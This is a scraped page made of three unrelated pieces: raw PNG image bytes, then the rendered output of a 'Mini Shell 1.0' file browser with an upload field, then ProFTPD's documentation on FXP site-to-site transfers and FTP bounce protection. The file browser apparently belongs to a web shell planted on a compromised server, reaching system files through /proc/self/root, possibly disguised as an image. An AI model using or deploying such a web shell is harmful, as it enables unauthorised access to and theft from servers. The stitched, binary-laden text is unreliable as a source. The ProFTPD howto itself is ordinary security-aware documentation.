PNG  IHDRQgAMA a cHRMz&u0`:pQ<bKGDgmIDATxwUﹻ& ^CX(J I@ "% (** BX +*i"]j(IH{~R)[~>h{}gy)I$Ij .I$I$ʊy@}x.: $I$Ii}VZPC)I$IF ^0ʐJ$I$Q^}{"r=OzI$gRZeC.IOvH eKX $IMpxsk.쒷/&r[޳<v| .I~)@$updYRa$I |M.e JaֶpSYR6j>h%IRز if&uJ)M$I vLi=H;7UJ,],X$I1AҒJ$ XY XzI@GNҥRT)E@;]K*Mw;#5_wOn~\ DC&$(A5 RRFkvIR}l!RytRl;~^ǷJj اy뷦BZJr&ӥ8Pjw~vnv X^(I;4R=P[3]J,]ȏ~:3?[ a&e)`e*P[4]T=Cq6R[ ~ޤrXR Հg(t_HZ-Hg M$ãmL5R uk*`%C-E6/%[t X.{8P9Z.vkXŐKjgKZHg(aK9ڦmKjѺm_ \#$5,)-  61eJ,5m| r'= &ڡd%-]J on Xm|{ RҞe $eڧY XYrԮ-a7RK6h>n$5AVڴi*ֆK)mѦtmr1p| q:흺,)Oi*ֺK)ܬ֦K-5r3>0ԔHjJئEZj,%re~/z%jVMڸmrt)3]J,T K֦OvԒgii*bKiNO~%PW0=dii2tJ9Jݕ{7"I P9JKTbu,%r"6RKU}Ij2HKZXJ,妝 XYrP ެ24c%i^IK|.H,%rb:XRl1X4Pe/`x&P8Pj28Mzsx2r\zRPz4J}yP[g=L) .Q[6RjWgp FIH*-`IMRaK9TXcq*I y[jE>cw%gLRԕiFCj-ďa`#e~I j,%r,)?[gp FI˨mnWX#>mʔ XA DZf9,nKҲzIZXJ,L#kiPz4JZF,I,`61%2s $,VOϚ2/UFJfy7K> X+6 STXIeJILzMfKm LRaK9%|4p9LwJI!`NsiazĔ)%- XMq>pk$-$Q2x#N ؎-QR}ᶦHZډ)J,l#i@yn3LN`;nڔ XuX5pF)m|^0(>BHF9(cզEerJI rg7 4I@z0\JIi䵙RR0s;$s6eJ,`n 䂦0a)S)A 1eJ,堌#635RIgpNHuTH_SԕqVe ` &S)>p;S$魁eKIuX`I4춒o}`m$1":PI<[v9^\pTJjriRŭ P{#{R2,`)e-`mgj~1ϣLKam7&U\j/3mJ,`F;M'䱀 .KR#)yhTq;pcK9(q!w?uRR,n.yw*UXj#\]ɱ(qv2=RqfB#iJmmL<]Y͙#$5 uTU7ӦXR+q,`I}qL'`6Kͷ6r,]0S$- [RKR3oiRE|nӦXR.(i:LDLTJjY%o:)6rxzҒqTJjh㞦I.$YR.ʼnGZ\ֿf:%55 I˼!6dKxm4E"mG_ s? .e*?LRfK9%q#uh$)i3ULRfK9yxm܌bj84$i1U^@Wbm4uJ,ҪA>_Ij?1v32[gLRD96oTaR׿N7%L2 NT,`)7&ƝL*꽙yp_$M2#AS,`)7$rkTA29_Iye"|/0t)$n XT2`YJ;6Jx".e<`$) PI$5V4]29SRI>~=@j]lp2`K9Jaai^" Ԋ29ORI%:XV5]JmN9]H;1UC39NI%Xe78t)a;Oi Ҙ>Xt"~G>_mn:%|~ޅ_+]$o)@ǀ{hgN;IK6G&rp)T2i୦KJuv*T=TOSV>(~D>dm,I*Ɛ:R#ۙNI%D>G.n$o;+#RR!.eU˽TRI28t)1LWϚ>IJa3oFbu&:tJ*(F7y0ZR ^p'Ii L24x| XRI%ۄ>S1]Jy[zL$adB7.eh4%%누>WETf+3IR:I3Xה)3אOۦSRO'ٺ)S}"qOr[B7ϙ.edG)^ETR"RtRݜh0}LFVӦDB^k_JDj\=LS(Iv─aTeZ%eUAM-0;~˃@i|l @S4y72>sX-vA}ϛBI!ݎߨWl*)3{'Y|iSlEڻ(5KtSI$Uv02,~ԩ~x;P4ցCrO%tyn425:KMlD ^4JRxSهF_}شJTS6uj+ﷸk$eZO%G*^V2u3EMj3k%)okI]dT)URKDS 7~m@TJR~荪fT"֛L \sM -0T KfJz+nإKr L&j()[E&I ߴ>e FW_kJR|!O:5/2跌3T-'|zX ryp0JS ~^F>-2< `*%ZFP)bSn"L :)+pʷf(pO3TMW$~>@~ū:TAIsV1}S2<%ޟM?@iT ,Eūoz%i~g|`wS(]oȤ8)$ ntu`өe`6yPl IzMI{ʣzʨ )IZ2= ld:5+請M$-ї;U>_gsY$ÁN5WzWfIZ)-yuXIfp~S*IZdt;t>KūKR|$#LcԀ+2\;kJ`]YǔM1B)UbG"IRߊ<xܾӔJ0Z='Y嵤 Leveg)$znV-º^3Ւof#0Tfk^Zs[*I꯳3{)ˬW4Ւ4 OdpbZRS|*I 55#"&-IvT&/윚Ye:i$ 9{LkuRe[I~_\ؠ%>GL$iY8 9ܕ"S`kS.IlC;Ҏ4x&>u_0JLr<J2(^$5L s=MgV ~,Iju> 7r2)^=G$1:3G< `J3~&IR% 6Tx/rIj3O< ʔ&#f_yXJiގNSz; Tx(i8%#4 ~AS+IjerIUrIj362v885+IjAhK__5X%nV%Iͳ-y|7XV2v4fzo_68"S/I-qbf; LkF)KSM$ Ms>K WNV}^`-큧32ŒVؙGdu,^^m%6~Nn&͓3ŒVZMsRpfEW%IwdǀLm[7W&bIRL@Q|)* i ImsIMmKmyV`i$G+R 0tV'!V)֏28vU7͒vHꦼtxꗞT ;S}7Mf+fIRHNZUkUx5SAJㄌ9MqμAIRi|j5)o*^'<$TwI1hEU^c_j?Е$%d`z cyf,XO IJnTgA UXRD }{H}^S,P5V2\Xx`pZ|Yk:$e ~ @nWL.j+ϝYb퇪bZ BVu)u/IJ_ 1[p.p60bC >|X91P:N\!5qUB}5a5ja `ubcVxYt1N0Zzl4]7­gKj]?4ϻ *[bg$)+À*x쳀ogO$~,5 زUS9 lq3+5mgw@np1sso Ӻ=|N6 /g(Wv7U;zωM=wk,0uTg_`_P`uz?2yI!b`kĸSo+Qx%!\οe|އԁKS-s6pu_(ֿ$i++T8=eY; צP+phxWQv*|p1. ά. XRkIQYP,drZ | B%wP|S5`~́@i޾ E;Չaw{o'Q?%iL{u D?N1BD!owPHReFZ* k_-~{E9b-~P`fE{AܶBJAFO wx6Rox5 K5=WwehS8 (JClJ~ p+Fi;ŗo+:bD#g(C"wA^ r.F8L;dzdIHUX݆ϞXg )IFqem%I4dj&ppT{'{HOx( Rk6^C٫O.)3:s(۳(Z?~ٻ89zmT"PLtw䥈5&b<8GZ-Y&K?e8,`I6e(֍xb83 `rzXj)F=l($Ij 2*(F?h(/9ik:I`m#p3MgLaKjc/U#n5S# m(^)=y=đx8ŬI[U]~SцA4p$-F i(R,7Cx;X=cI>{Km\ o(Tv2vx2qiiDJN,Ҏ!1f 5quBj1!8 rDFd(!WQl,gSkL1Bxg''՞^ǘ;pQ P(c_ IRujg(Wz bs#P­rz> k c&nB=q+ؔXn#r5)co*Ũ+G?7< |PQӣ'G`uOd>%Mctz# Ԫڞ&7CaQ~N'-P.W`Oedp03C!IZcIAMPUۀ5J<\u~+{9(FbbyAeBhOSܳ1 bÈT#ŠyDžs,`5}DC-`̞%r&ڙa87QWWp6e7 Rϫ/oY ꇅ Nܶըtc!LA T7V4Jsū I-0Pxz7QNF_iZgúWkG83 0eWr9 X]㾮݁#Jˢ C}0=3ݱtBi]_ &{{[/o[~ \q鯜00٩|cD3=4B_b RYb$óBRsf&lLX#M*C_L܄:gx)WΘsGSbuL rF$9';\4Ɍq'n[%p.Q`u hNb`eCQyQ|l_C>Lb꟟3hSb #xNxSs^ 88|Mz)}:](vbۢamŖ࿥ 0)Q7@0=?^k(*J}3ibkFn HjB׻NO z x}7p 0tfDX.lwgȔhԾŲ }6g E |LkLZteu+=q\Iv0쮑)QٵpH8/2?Σo>Jvppho~f>%bMM}\//":PTc(v9v!gոQ )UfVG+! 35{=x\2+ki,y$~A1iC6#)vC5^>+gǵ@1Hy٪7u;p psϰu/S <aʸGu'tD1ԝI<pg|6j'p:tպhX{o(7v],*}6a_ wXRk,O]Lܳ~Vo45rp"N5k;m{rZbΦ${#)`(Ŵg,;j%6j.pyYT?}-kBDc3qA`NWQū20/^AZW%NQ MI.X#P#,^Ebc&?XR tAV|Y.1!؅⨉ccww>ivl(JT~ u`ٵDm q)+Ri x/x8cyFO!/*!/&,7<.N,YDŽ&ܑQF1Bz)FPʛ?5d 6`kQձ λc؎%582Y&nD_$Je4>a?! ͨ|ȎWZSsv8 j(I&yj Jb5m?HWp=g}G3#|I,5v珿] H~R3@B[☉9Ox~oMy=J;xUVoj bUsl_35t-(ՃɼRB7U!qc+x4H_Qo֮$[GO<4`&č\GOc[.[*Af%mG/ ňM/r W/Nw~B1U3J?P&Y )`ѓZ1p]^l“W#)lWZilUQu`-m|xĐ,_ƪ|9i:_{*(3Gѧ}UoD+>m_?VPۅ15&}2|/pIOʵ> GZ9cmíتmnz)yߐbD >e}:) r|@R5qVSA10C%E_'^8cR7O;6[eKePGϦX7jb}OTGO^jn*媓7nGMC t,k31Rb (vyܴʭ!iTh8~ZYZp(qsRL ?b}cŨʊGO^!rPJO15MJ[c&~Z`"ѓޔH1C&^|Ш|rʼ,AwĴ?b5)tLU)F| &g٣O]oqSUjy(x<Ϳ3 .FSkoYg2 \_#wj{u'rQ>o;%n|F*O_L"e9umDds?.fuuQbIWz |4\0 sb;OvxOSs; G%T4gFRurj(֍ڑb uԖKDu1MK{1^ q; C=6\8FR艇!%\YÔU| 88m)֓NcLve C6z;o&X x59:q61Z(T7>C?gcļxѐ Z oo-08jہ x,`' ҔOcRlf~`jj".Nv+sM_]Zk g( UOPyεx%pUh2(@il0ݽQXxppx-NS( WO+轾 nFߢ3M<;z)FBZjciu/QoF 7R¥ ZFLF~#ȣߨ^<쩡ݛкvџ))ME>ώx4m#!-m!L;vv#~Y[đKmx9.[,UFS CVkZ +ߟrY٧IZd/ioi$%͝ب_ֶX3ܫhNU ZZgk=]=bbJS[wjU()*I =ώ:}-蹞lUj:1}MWm=̛ _ ¾,8{__m{_PVK^n3esw5ӫh#$-q=A̟> ,^I}P^J$qY~Q[ Xq9{#&T.^GVj__RKpn,b=`żY@^՝;z{paVKkQXj/)y TIc&F;FBG7wg ZZDG!x r_tƢ!}i/V=M/#nB8 XxЫ ^@CR<{䤭YCN)eKOSƟa $&g[i3.C6xrOc8TI;o hH6P&L{@q6[ Gzp^71j(l`J}]e6X☉#͕ ׈$AB1Vjh㭦IRsqFBjwQ_7Xk>y"N=MB0 ,C #o6MRc0|$)ف"1!ixY<B9mx `,tA>)5ػQ?jQ?cn>YZe Tisvh# GMމȇp:ԴVuږ8ɼH]C.5C!UV;F`mbBk LTMvPʍϤj?ԯ/Qr1NB`9s"s TYsz &9S%U԰> {<ؿSMxB|H\3@!U| k']$U+> |HHMLޢ?V9iD!-@x TIî%6Z*9X@HMW#?nN ,oe6?tQwڱ.]-y':mW0#!J82qFjH -`ѓ&M0u Uγmxϵ^-_\])@0Rt.8/?ٰCY]x}=sD3ojަЫNuS%U}ԤwHH>ڗjܷ_3gN q7[q2la*ArǓԖ+p8/RGM ]jacd(JhWko6ڎbj]i5Bj3+3!\j1UZLsLTv8HHmup<>gKMJj0@H%,W΃7R) ">c, xixј^ aܖ>H[i.UIHc U1=yW\=S*GR~)AF=`&2h`DzT󑓶J+?W+}C%P:|0H܆}-<;OC[~o.$~i}~HQ TvXΈr=b}$vizL4:ȰT|4~*!oXQR6Lk+#t/g lԁߖ[Jڶ_N$k*". xsxX7jRVbAAʯKҎU3)zSNN _'s?f)6X!%ssAkʱ>qƷb hg %n ~p1REGMHH=BJiy[<5 ǁJҖgKR*倳e~HUy)Ag,K)`Vw6bRR:qL#\rclK/$sh*$ 6덤 KԖc 3Z9=Ɣ=o>X Ώ"1 )a`SJJ6k(<c e{%kϊP+SL'TcMJWRm ŏ"w)qc ef꒵i?b7b('"2r%~HUS1\<(`1Wx9=8HY9m:X18bgD1u ~|H;K-Uep,, C1 RV.MR5άh,tWO8WC$ XRVsQS]3GJ|12 [vM :k#~tH30Rf-HYݺ-`I9%lIDTm\ S{]9gOڒMNCV\G*2JRŨ;Rҏ^ڽ̱mq1Eu?To3I)y^#jJw^Ńj^vvlB_⋌P4x>0$c>K†Aļ9s_VjTt0l#m>E-,,x,-W)سo&96RE XR.6bXw+)GAEvL)͞K4$p=Ũi_ѱOjb HY/+@θH9޼]Nԥ%n{ &zjT? Ty) s^ULlb,PiTf^<À] 62R^V7)S!nllS6~͝V}-=%* ʻ>G DnK<y&>LPy7'r=Hj 9V`[c"*^8HpcO8bnU`4JȪAƋ#1_\ XϘHPRgik(~G~0DAA_2p|J묭a2\NCr]M_0 ^T%e#vD^%xy-n}-E\3aS%yN!r_{ )sAw ڼp1pEAk~v<:`'ӭ^5 ArXOI驻T (dk)_\ PuA*BY]yB"l\ey hH*tbK)3 IKZ򹞋XjN n *n>k]X_d!ryBH ]*R 0(#'7 %es9??ښFC,ՁQPjARJ\Ρw K#jahgw;2$l*) %Xq5!U᢯6Re] |0[__64ch&_}iL8KEgҎ7 M/\`|.p,~`a=BR?xܐrQ8K XR2M8f ?`sgWS%" Ԉ 7R%$ N}?QL1|-эټwIZ%pvL3Hk>,ImgW7{E xPHx73RA @RS CC !\ȟ5IXR^ZxHл$Q[ŝ40 (>+ _C >BRt<,TrT {O/H+˟Pl6 I B)/VC<6a2~(XwV4gnXR ϱ5ǀHٻ?tw똤Eyxp{#WK qG%5],(0ӈH HZ])ג=K1j&G(FbM@)%I` XRg ʔ KZG(vP,<`[ Kn^ SJRsAʠ5xՅF`0&RbV tx:EaUE/{fi2;.IAwW8/tTxAGOoN?G}l L(n`Zv?pB8K_gI+ܗ #i?ޙ.) p$utc ~DžfՈEo3l/)I-U?aԅ^jxArA ΧX}DmZ@QLےbTXGd.^|xKHR{|ΕW_h] IJ`[G9{).y) 0X YA1]qp?p_k+J*Y@HI>^?gt.06Rn ,` ?);p pSF9ZXLBJPWjgQ|&)7! HjQt<| ؅W5 x W HIzYoVMGP Hjn`+\(dNW)F+IrS[|/a`K|ͻ0Hj{R,Q=\ (F}\WR)AgSG`IsnAR=|8$}G(vC$)s FBJ?]_u XRvύ6z ŨG[36-T9HzpW̞ú Xg큽=7CufzI$)ki^qk-) 0H*N` QZkk]/tnnsI^Gu't=7$ Z;{8^jB% IItRQS7[ϭ3 $_OQJ`7!]W"W,)Iy W AJA;KWG`IY{8k$I$^%9.^(`N|LJ%@$I}ֽp=FB*xN=gI?Q{٥4B)mw $Igc~dZ@G9K X?7)aK%݅K$IZ-`IpC U6$I\0>!9k} Xa IIS0H$I H ?1R.Чj:4~Rw@p$IrA*u}WjWFPJ$I➓/6#! LӾ+ X36x8J |+L;v$Io4301R20M I$-E}@,pS^ޟR[/s¹'0H$IKyfŸfVOπFT*a$I>He~VY/3R/)>d$I>28`Cjw,n@FU*9ttf$I~<;=/4RD~@ X-ѕzἱI$: ԍR a@b X{+Qxuq$IЛzo /~3\8ڒ4BN7$IҀj V]n18H$IYFBj3̵̚ja pp $Is/3R Ӻ-Yj+L;.0ŔI$Av? #!5"aʄj}UKmɽH$IjCYs?h$IDl843.v}m7UiI=&=0Lg0$I4: embe` eQbm0u? $IT!Sƍ'-sv)s#C0:XB2a w I$zbww{."pPzO =Ɔ\[ o($Iaw]`E).Kvi:L*#gР7[$IyGPI=@R 4yR~̮´cg I$I/<tPͽ hDgo 94Z^k盇΄8I56^W$I^0̜N?4*H`237}g+hxoq)SJ@p|` $I%>-hO0eO>\ԣNߌZD6R=K ~n($I$y3D>o4b#px2$yڪtzW~a $I~?x'BwwpH$IZݑnC㧄Pc_9sO gwJ=l1:mKB>Ab<4Lp$Ib o1ZQ@85b̍ S'F,Fe,^I$IjEdù{l4 8Ys_s Z8.x m"+{~?q,Z D!I$ϻ'|XhB)=…']M>5 rgotԎ 獽PH$IjIPhh)n#cÔqA'ug5qwU&rF|1E%I$%]!'3AFD/;Ck_`9 v!ٴtPV;x`'*bQa w I$Ix5 FC3D_~A_#O݆DvV?<qw+I$I{=Z8".#RIYyjǪ=fDl9%M,a8$I$Ywi[7ݍFe$s1ՋBVA?`]#!oz4zjLJo8$I$%@3jAa4(o ;p,,dya=F9ً[LSPH$IJYЉ+3> 5"39aZ<ñh!{TpBGkj}Sp $IlvF.F$I z< '\K*qq.f<2Y!S"-\I$IYwčjF$ w9 \ߪB.1v!Ʊ?+r:^!I$BϹB H"B;L'G[ 4U#5>੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB`Mini Shell

HOME


Mini Shell 1.0
DIR:/proc/self/root/usr/share/doc/proftpd/howto/
Upload File :
Current File : //proc/self/root/usr/share/doc/proftpd/howto/FXP.html
<!DOCTYPE html>
<html>
<head>
<title>ProFTPD: FXP (Site-to-Site Transfers)</title>
</head>

<body bgcolor=white>

<hr>
<center><h2><b>ProFTPD: FXP (Site-to-Site Transfers)</b></h2></center>
<hr>

<p>
<b>FXP</b><br>
What is FXP?  FXP is part of the name of a popular Windows FTP client:
<pre>
  <a href="http://www.flashfxp.com">http://www.flashfxp.com</a>
</pre>
This client has made the name &quot;FXP&quot; commonly used as a synonym
for site-to-site FTP transfers, for transferring a file between two
remote FTP servers without the transfer going through the client's host.
Sometimes &quot;FXP&quot; is referred to as a protocol; in fact, it is not.
The site-to-site transfer capability was deliberately designed into FTP.

<p>
<b>Site-to-Site Transfers</b><br>
In a site-to-site transfer, the client logs in to two servers (server A and
server B).  It then arranges for a file transfer, telling one server (server A)
that it will be a passive transfer, and the other server (server B) that it
will be an active transfer.  For a passive transfer, server A will return an
address/port (via response to the <code>PASV</code> command) to which the
client is to connect.  The client then passes that address/port in a
<code>PORT</code> command to server B.  Then, the client sends a
<code>RETR</code> to one of the servers and a <code>STOR</code> to the
other, thus starting the transfer.  The data does not pass to the client
machine at all.

<p>
Any firewalls protecting either (or both) servers involved may need to allow
active and passive FTP data transfers, depending on which server is told to be
active, which is told to be passive.

<p>
<b>Example Site-to-Site Transfer</b><br>
In the example below, italicized represent responses to the given FTP commands.
Lines in blue show communications to <font color=blue>server A</font>, while
those in red are to <font color=red>server B</font>.  Black lines are
informational messages displayed by the FXP client.
<pre>
  <font color=blue>TYPE I
  <i>200 Type set to I.</i></font>
  <font color=red>TYPE I
  <i>200 Type set to I.</i></font>
  <font color=blue>PASV
  <i>227 Entering Passive Mode (1,2,3,4,130,161).</i></font>
  <font color=red>PORT 1,2,3,4,130,161
  <i>200 PORT command successful</i></font>
  <font color=blue>STOR file.mp3
  <i>150 Opening BINARY mode data connection for file.mp3</i></font>
  <font color=red>RETR file.mp3
  <i>150 Opening BINARY mode data connection for file.mp3 (15000000 bytes)</i></font>
  <font color=blue><i>226 Transfer complete.</i></font>
  <font color=red><i>226 Transfer complete.</i></font>
  Transferred: file.mp3 14.31 MB in 2.38 (6,147.06 KBps)
  <font color=blue>TYPE A
  <i>200 Type set to A.</i>
  PASV
  <i>227 Entering Passive Mode (5,6,7,8,168,183).</i>
  LIST
  <i>150 Opening ASCII mode data connection for file list</i>
  <i>226 Transfer complete.</i></font>
  <font color=red>TYPE A
  <i>200 Type set to A.</i>
  PASV
  <i>227 Entering Passive Mode (1,2,3,4,130,162).</i>
  LIST
  <i>150 Opening ASCII mode data connection for file list</i>
  <i>226 Transfer complete.</i></font>
  Transfer queue completed
  Transferred 1 file totaling 14.31 MB in 3.42 (6,147.06 KBps)
</pre>
The client instructs <font color=blue>server A</font> to expect a passive
data transfer, and <font color=red>server B</font> to initiate an active
data transfer.  The address and port returned in
<font color=blue>server A</font>'s response to the <code>PASV</code> command
is passed to <font color=red>server B</font> as arguments in the
<code>PORT</code> command.  The transfer is then started by telling
<font color=blue>server A</font> to expect a file to be uploaded, and
<font color=red>server B</font> to download the file.  The following
<code>PASV/LIST</code> sequences are the client confirming that the file
was transferred successfully.

<p>
This example also illustrates that site-to-site transfers use both active
and passive data transfers; for sites that operate behind firewalls and
NAT, passive transfers may require extra configuration to operate properly
(<i>i.e.</i> use of the <a href="../modules/mod_core.html#MasqueradeAddress"><code>MasqueradeAddress</code></a> and
<a href="../modules/mod_core.html#PassivePorts"><code>PassivePorts</code></a>
configuration directives).

<p>
<b>&quot;FTP Bounce&quot; Attacks and <code>AllowForeignAddress</code></b><br>
So, what does this mean for ProFTPD?  By default, ProFTPD <b>does not allow</b>
site-to-site transfers, for by allowing them, the server also allows
a type of attack known as the &quot;FTP bounce&quot; attack:
<pre>
  <a href="http://www.cert.org/advisories/CA-1997-27.html">http://www.cert.org/advisories/CA-1997-27.html</a>
</pre>
The protection against this attack is to enforce the requirement that,
from the server's point of view, the remote address of a control connection
matches the remote address of a data connection.  If the addresses do not
match, the data connection is treated as from a foreign client, and thus
rejected.

<p>
However, some site administrators do want to allow their servers to support
site-to-site transfers.  ProFTPD must be explicitly configured to allow these
by using the <a href="../modules/mod_core.html#AllowForeignAddress"><code>AllowForeignAddress</code></a> configuration directive.

<p>
Note that even if <code>AllowForeignAddress</code> is enabled, you may still
encounter trouble with site-to-site transfers involving your server.
These issues usually arise from firewall configurations, or with upstream
ISPs performing filtering on the FTP port.

<p>
<hr>
<font size=2><b><i>
&copy; Copyright 2017 The ProFTPD Project<br>
 All Rights Reserved<br>
</i></b></font>
<hr>

</body>
</html>